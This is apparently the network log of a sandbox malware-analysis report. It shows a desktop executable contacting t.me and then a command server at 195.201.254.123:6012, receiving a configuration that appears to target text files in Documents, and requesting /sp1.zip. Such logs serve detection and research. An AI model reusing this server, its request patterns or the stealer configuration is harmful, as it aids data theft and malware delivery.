Aug 31, 2023 16:50:49.959006071 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.959041119 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.959059954 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.959088087 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.959098101 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.959136009 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.959150076 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.959183931 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.959198952 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.959232092 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.959266901 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.959278107 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.959290981 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.959326982 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.959357023 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.959373951 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.959418058 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.959420919 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.959430933 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.959477901 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.959494114 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.959542990 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.959558010 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.959589005 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.959606886 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.959636927 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.959645987 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.959685087 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.959696054 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.959737062 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.959748030 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.959794044 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.959809065 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.959841013 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.959855080 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.959898949 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.968974113 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.969026089 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.969074011 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.969096899 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.969121933 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.969151974 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.969151974 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.969168901 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.969187975 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.969214916 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.969230890 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.969264984 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.969274998 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.969312906 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.969325066 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.969360113 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.969377041 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.969407082 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.969418049 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.969455957 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.969465971 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.969504118 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.969512939 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.969551086 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.969558001 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.969598055 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.969645023 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.969669104 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.969669104 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.969691038 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.969702959 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.969742060 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.969746113 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.969789982 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.969804049 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.969839096 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.969851017 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.969888926 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.969899893 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.969937086 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.969947100 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.969985008 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.969994068 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.970033884 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.970052004 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.970081091 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.970129013 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.970143080 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.970143080 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.970175982 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.970200062 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.970225096 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.970273018 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.970287085 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.970287085 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.970320940 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.970338106 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.970367908 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.970376015 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.970417976 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.970443964 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.970467091 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.970484972 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.970523119 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.970536947 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.970577002 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.970587015 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.970668077 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.970679998 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.970716953 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.970738888 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.970768929 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.970796108 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.970818043 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.970834970 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.970868111 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.970885038 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.970916033 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.970932007 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.970968008 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.970978975 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.971016884 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.971023083 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.971065998 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.971081972 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.971117973 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.971129894 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.971167088 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.971177101 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.971216917 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.971234083 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.971266031 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.971292973 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.971314907 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.971335888 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.971364021 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.971384048 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.971414089 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.971432924 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.971477985 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.971491098 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.971541882 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.971558094 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.971586943 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.971601963 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.971636057 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.971656084 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.971685886 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.971700907 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.971748114 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.973968029 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.974019051 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.974069118 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.974076033 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.974117041 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.974144936 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.974144936 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.974165916 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.974200964 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.974214077 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.974251032 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.974260092 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.974272966 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.974309921 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.974322081 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.974356890 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.974390030 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.974414110 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.974415064 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.974466085 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.974476099 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.974514961 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.974555016 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.974579096 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.981008053 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.981046915 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.981081009 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.981118917 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.981153965 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.981165886 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.981165886 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.981189966 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.981213093 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.981225967 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.981257915 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.981257915 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.981261015 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.981298923 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.981307983 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.981334925 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.981369972 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.981369972 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.981372118 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.981408119 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.981441021 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.981441021 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.981442928 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.981482029 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.981482029 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.981517076 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.981517076 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.981553078 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.981554031 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.981585979 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.981589079 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.981618881 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.981626034 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.981653929 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.981662035 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.981688976 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.981695890 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.981722116 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.981731892 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.981755972 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.981765985 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.981787920 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.981798887 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.981826067 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.981861115 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.992854118 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.993037939 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.993053913 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.993104935 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.993149042 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:49.993169069 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.993200064 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:49.993225098 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:58.424901009 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:58.424981117 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:58.446444035 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:58.446504116 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:58.446571112 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:58.446630001 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:58.446693897 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:58.446693897 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:58.446768999 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:58.446806908 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:58.446947098 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:58.468059063 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:58.468127966 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:58.468190908 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:58.468353987 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:58.468430996 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:58.468485117 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:58.468533039 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:58.468550920 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:58.468579054 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:58.468611002 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:58.468741894 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:58.468868971 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:58.489752054 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:58.489831924 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:58.489880085 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:58.490015984 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:58.490061998 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:58.490148067 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:58.490186930 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:58.490273952 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:58.490278006 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:58.490345955 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:58.490392923 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:58.490426064 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:58.490483999 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:58.490504980 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:58.490618944 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:58.490658045 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:58.490720034 CEST	49774	6012	192.168.2.8	195.201.254.123
Aug 31, 2023 16:50:58.490797043 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:58.490956068 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:58.491091013 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:58.491198063 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:58.491245985 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:58.491364002 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:58.491518974 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:58.491703033 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:58.511590958 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:58.511665106 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:58.511847973 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:58.511903048 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:58.512166977 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:58.512610912 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:58.512749910 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:58.512798071 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:58.512923956 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:58.513108015 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:58.513216972 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:58.513396978 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:58.513632059 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:58.513695955 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:58.514050007 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:59.195343971 CEST	6012	49774	195.201.254.123	192.168.2.8
Aug 31, 2023 16:50:59.195626020 CEST	49774	6012	192.168.2.8	195.201.254.123

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 31, 2023 16:50:48.321386099 CEST	52799	53	192.168.2.8	8.8.8.8
Aug 31, 2023 16:50:48.336807013 CEST	53	52799	8.8.8.8	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 31, 2023 16:50:48.321386099 CEST	192.168.2.8	8.8.8.8	0x810	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 31, 2023 16:50:48.336807013 CEST	8.8.8.8	192.168.2.8	0x810	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

t.me

195.201.254.123:6012

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.8	49773	149.154.167.99	443	C:\Users\user\Desktop\file.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.8	49774	195.201.254.123	6012	C:\Users\user\Desktop\file.exe

Timestamp	kBytes transferred	Direction	Data
Aug 31, 2023 16:50:48.779787064 CEST	167	OUT	GET /b2ced91faf30889899f34458f95b8e93 HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.2.13 (KHTML, like Gecko) Version/16.5.2 Safari/605.2.13 Host: 195.201.254.123:6012
Aug 31, 2023 16:50:49.066073895 CEST	167	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 31 Aug 2023 14:50:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 34 0d 0a 31 2c 31 2c 31 2c 31 2c 30 2c 32 66 65 66 37 33 36 35 34 65 38 33 64 39 66 61 35 31 33 35 36 30 31 63 35 63 39 61 65 65 35 30 2c 31 2c 31 2c 31 2c 31 2c 30 2c 44 65 66 61 75 6c 74 3b 25 44 4f 43 55 4d 45 4e 54 53 25 5c 3b 2a 2e 74 78 74 3b 35 30 3b 74 72 75 65 3b 2a 77 69 6e 64 6f 77 73 2a 3b 2c 30 0d 0a 30 0d 0a 0d 0a Data Ascii: 641,1,1,1,0,2fef73654e83d9fa5135601c5c9aee50,1,1,1,1,0,Default;%DOCUMENTS%\;.txt;50;true;windows*;,00
Aug 31, 2023 16:50:49.400916100 CEST	168	OUT	GET /sp1.zip HTTP/1.1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.2.13 (KHTML, like Gecko) Version/16.5.2 Safari/605.2.13 Host: 195.201.254.123:6012 Cache-Control: no-cache
